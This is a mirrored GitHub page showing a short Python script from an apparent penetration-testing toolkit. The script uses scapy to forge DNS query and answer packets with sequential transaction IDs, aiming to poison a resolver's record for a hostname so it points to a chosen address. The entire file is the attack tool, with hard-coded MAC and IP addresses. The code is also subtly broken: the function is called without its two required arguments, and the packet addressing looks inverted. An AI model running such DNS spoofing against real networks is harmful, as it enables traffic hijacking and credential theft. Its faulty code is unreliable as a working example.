mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-26 10:39:08 -04:00
26 lines
826 B
Python
26 lines
826 B
Python
#!/usr/bin/env python
|
|
|
|
__author__ = "Mia Stein"
|
|
|
|
from scapy.all import *
|
|
from scapy.layers.l2 import *
|
|
import time
|
|
|
|
def dns_poisoning(SPOOF_ADDR, TARGET):
|
|
pkts = []
|
|
for x in range (10000,11000):
|
|
pkt = Ether(src="52:54:00:dd:01:50", dst="52:54:00:dd:01:49")/IP(dst=SPOOF_ADDR,\
|
|
src=TARGET)/UDP(dport=4250)/DNS(id=x,an=DNSRR(rrname=url, type='A', rclass='IN', ttl=350, rdata=SPOOF_ADDR))
|
|
pkts.append(pkt)
|
|
dns = Ether(src="52:54:00:dd:01:38", dst="52:54:00:dd:01:49")/IP(dst=SPOOF_ADDR, \
|
|
src="172.17.152.138")/UDP()/DNS(qd=DNSQR(qname=url))
|
|
sendp(dns, verbose = 0)
|
|
for pkt in pkts:
|
|
sendp(pkt, verbose=0)
|
|
|
|
if __name__ == '__main__':
|
|
url = "whenry_49094902fea7938f.propaganda.hc"
|
|
SPOOF_ADDR = '23.235.46.133'
|
|
TARGET = '192.168.1.125'
|
|
dns_poisoning()
|